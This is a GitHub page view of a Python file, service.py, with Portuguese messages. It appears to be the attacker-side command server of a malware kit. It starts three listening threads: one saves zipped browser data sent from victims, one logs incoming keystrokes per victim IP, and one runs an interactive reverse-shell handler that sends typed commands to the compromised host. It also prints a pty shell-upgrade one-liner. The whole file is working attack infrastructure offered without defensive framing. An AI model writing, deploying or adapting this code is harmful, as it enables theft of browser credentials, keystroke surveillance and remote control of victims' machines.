-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathservice.py
76 lines (67 loc) · 2.15 KB
/
service.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
version = 'v2-dev'
import sys
import socket
import time as t
import threading as th
print("""python -c 'import pty; pty.spawn("/bin/bash")'\n""")
def Receber_mozilla():
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a.bind(('', 4545))
a.listen(1)
print("Aguardando conexão para receber arquivos...")
client_socket, client_address = a.accept()
print(f"Conexão estabelecida com {client_address}")
with open(f'{client_address[0]}.zip', 'wb') as file:
while True:
data = client_socket.recv(1024)
if not data:
break
file.write(data)
print("Dados de Navegador recebidos com sucesso!\n")
client_socket.close()
a.close()
def Receber_teclas():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 8888))
s.listen(1)
print(f'Esperando por conexões ...')
while True:
client_socket, client_address = s.accept()
with open(f'./{client_address[0]}', 'wb') as file:
while True:
data = client_socket.recv(1024)
if not data:
break
file.write(data)
client_socket.close()
def nc():
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
porta = 7474
try:
c.bind(('', porta))
c.listen(1)
print(f"Reverse Shell em espera ...")
conn, addr = c.accept()
print(f'Conexão recebida de {addr[0]}\n')
while True:
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
command += "\n"
conn.send(command.encode())
t.sleep(0.1)
sys.stdout.write("\033[A" + ans.split("\n")[-1])
except OSError:
pass
#print('Esta PORTA está sendo utilizada.')
except KeyboardInterrupt:
pass
thread_receber_arquivo = th.Thread(target=Receber_mozilla)
thread_receber_conexao = th.Thread(target=Receber_teclas)
thread_rev = th.Thread(target=nc)
thread_receber_arquivo.start()
thread_receber_conexao.start()
thread_rev.start()
thread_receber_arquivo.join()
thread_receber_conexao.join()
thread_rev.join()